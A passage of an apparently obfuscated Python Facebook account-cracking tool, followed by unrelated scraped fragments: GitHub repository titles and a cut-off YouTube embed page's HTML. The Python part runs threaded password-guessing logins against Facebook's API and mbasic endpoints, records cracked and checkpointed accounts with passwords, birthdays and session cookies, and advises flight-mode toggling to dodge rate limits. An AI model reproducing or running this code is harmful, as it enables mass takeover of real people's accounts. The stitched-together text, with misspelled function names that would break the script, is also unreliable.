_cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
octokit / Create Octokit Project.js"npm init" script to create a new Octokit JS module
isaacs / Create IsaacsAn npm init module to create modules like I do
vadmium / Module Init ToolsMost up-to-date copy I could find while git.kernel.org is down
gruntjs / Grunt Init CommonjsCreate a commonjs module with grunt-init, including Nodeunit unit tests.
nixys / Nxs Vault App InitTerraform module for Vault init
amir2510 / Script<!DOCTYPE html> <html lang="en" dir="ltr" data-cast-api-enabled="true"> <head><meta name="viewport" content="width=device-width, initial-scale=1"><style name="www-roboto" >@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v18/WxrXJa0C3KdtC7lMafG4dRTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v18/OpXUqTo0UgQQhGj_SFdLWBTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v18/1hZf02POANh32k2VkgEoUBTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v18/cDKhRaXnQTOVbaoxwdOr9xTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v18/K23cxWVTrIFD6DJsEVi07RTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v18/vSzulfKSK0LLjjfeaxcREhTbgVql8nDJpwnrE27mub0.woff2)format('woff2');unicode-range:U+0100-024F,U+0259,U+1E00-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(//fonts.gstatic.com/s/roboto/v18/vPcynSL0qHq_6dX7lKVByfesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/OLffGBTaF0XFOW1gnuHF0TTOQ_MqJVwkKsUn0wKzc2I.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/OLffGBTaF0XFOW1gnuHF0TUj_cnvWIuuBMVgbX098Mw.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/OLffGBTaF0XFOW1gnuHF0UbcKLIaa1LC45dFaAfauRA.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/OLffGBTaF0XFOW1gnuHF0Wo_sUJ8uO4YLWRInS22T3Y.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/OLffGBTaF0XFOW1gnuHF0b6up8jxqWt8HVA3mDhkV_0.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/OLffGBTaF0XFOW1gnuHF0SYE0-AqJ3nfInTTiDXDjU4.woff2)format('woff2');unicode-range:U+0100-024F,U+0259,U+1E00-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/OLffGBTaF0XFOW1gnuHF0Y4P5ICox8Kq3LLUNMylGO4.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v18/ZLqKeelYbATG60EpZBSDyxJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v18/oHi30kwQWvpCWqAhzHcCSBJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v18/rGvHdJnr2l75qb0YND9NyBJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v18/mx9Uck6uB63VIKFYnEMXrRJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v18/mbmhprMH69Zi6eEPBYVFhRJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v18/oOeFwZNlrTefzLYmlVV1UBJtnKITppOI_IvcXXDNrsc.woff2)format('woff2');unicode-range:U+0100-024F,U+0259,U+1E00-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:local('Roboto Medium'),local('Roboto-Medium'),url(//fonts.gstatic.com/s/roboto/v18/RxZJdnzeo3R5zSexge8UUVtXRa8TVwTICgirnJhmVJw.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v18/ek4gzZ-GeXAPcSbHtCeQI_esZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v18/mErvLBYg_cXG3rLvUsKT_fesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v18/-2n2p-_Y08sg57CNWQfKNvesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v18/u0TOpm082MNkS5K0Q4rhqvesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v18/NdF9MtnOpLzo-noMoG0miPesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v18/Fcx7Wwv8OzT71A3E1XOAjvesZW2xOQ-xsNqO47m55DA.woff2)format('woff2');unicode-range:U+0100-024F,U+0259,U+1E00-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:local('Roboto Regular'),local('Roboto-Regular'),url(//fonts.gstatic.com/s/roboto/v18/CWB0XYA8bzo0kSThX0UTuA.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}</style><script name="www-roboto" >if (document.fonts && document.fonts.load) {document.fonts.load("400 10pt Roboto", "");document.fonts.load("500 10pt Roboto", "");}</script> <link rel="stylesheet" href="/yts/cssbin/www-player-webp-vfl-cDqNB.css" name="www-player"> <style>html {overflow: hidden; }body {font: 12px Roboto, Arial, sans-serif;background-color: #000;color: #fff;height: 100%;width: 100%;overflow: hidden;position: absolute;margin: 0;padding: 0;}#player {width: 100%;height: 100%;}h1 {text-align: center;color: #fff;}.hid {display: none;}h3 {margin-top: 6px;margin-bottom: 3px;}.player-unavailable {position: absolute;top: 0;left: 0;right: 0;bottom: 0;padding: 25px;font-size: 13px;background: url(/img/meh7.png) 50% 65% no-repeat;}.player-unavailable .message {text-align: left; margin: 0 -5px 15px;padding: 0 5px 14px;border-bottom: 1px solid #888;font-size: 19px;font-weight: normal;}.player-unavailable a {color: #167ac6;text-decoration: none;}.yt-embed-thumbnail {background-size: cover;background-position: center;background-repeat: no-repeat;height: 100%;}.ytp-lightweight {position: absolute;top: 0;left: 0;width: 100%;height: 100%;}.exp-invert-logo #header:before, .exp-invert-logo .ypc-join-family-header .logo, .exp-invert-logo #footer-logo .footer-logo-icon, .exp-invert-logo #yt-masthead #logo-container .logo, .exp-invert-logo #masthead #logo-container, .exp-invert-logo .admin-masthead-logo a, .exp-invert-logo #yt-sidebar-styleguide-logo #logo { background: no-repeat url(/yts/img/ringo/hitchhiker/logo_small_2x-vfl4_cFqn.png); background-size: 100px 30px; } .exp-invert-logo #yt-masthead #logo-container .logo-red { background: no-repeat url(/yts/img/ringo/hitchhiker/logo_youtube_red_2x-vflOSHA_n.png); background-size: 132px 30px; } @media only screen and (min-width: 0px) and (max-width: 498px), only screen and (min-width: 499px) and (max-width: 704px) { .exp-invert-logo.exp-responsive #yt-masthead #logo-container { background: no-repeat url(/yts/img/ringo/hitchhiker/yt_play_logo_2x-vflXx5Pg3.png); background-size: 40px 28px; } } .guide-sort-container {display: none}</style><script >var ytcsi = {gt: function(n) {n = (n || '') + 'data_';return ytcsi[n] || (ytcsi[n] = {tick: {},info: {}});},now: window.performance && window.performance.timing &&window.performance.now ? function() {return window.performance.timing.navigationStart + window.performance.now();} : function() {return (new Date()).getTime();},tick: function(l, t, n) {ticks = ytcsi.gt(n).tick;var v = t || ytcsi.now();if (ticks[l]) {ticks['_' + l] = (ticks['_' + l] || [ticks[l]]);ticks['_' + l].push(v);}ticks[l] = v;},info: function(k, v, n) {ytcsi.gt(n).info[k] = v;},setStart: function(s, t, n) {ytcsi.info('yt_sts', s, n);ytcsi.tick('_start', t, n);}};(function(w, d) 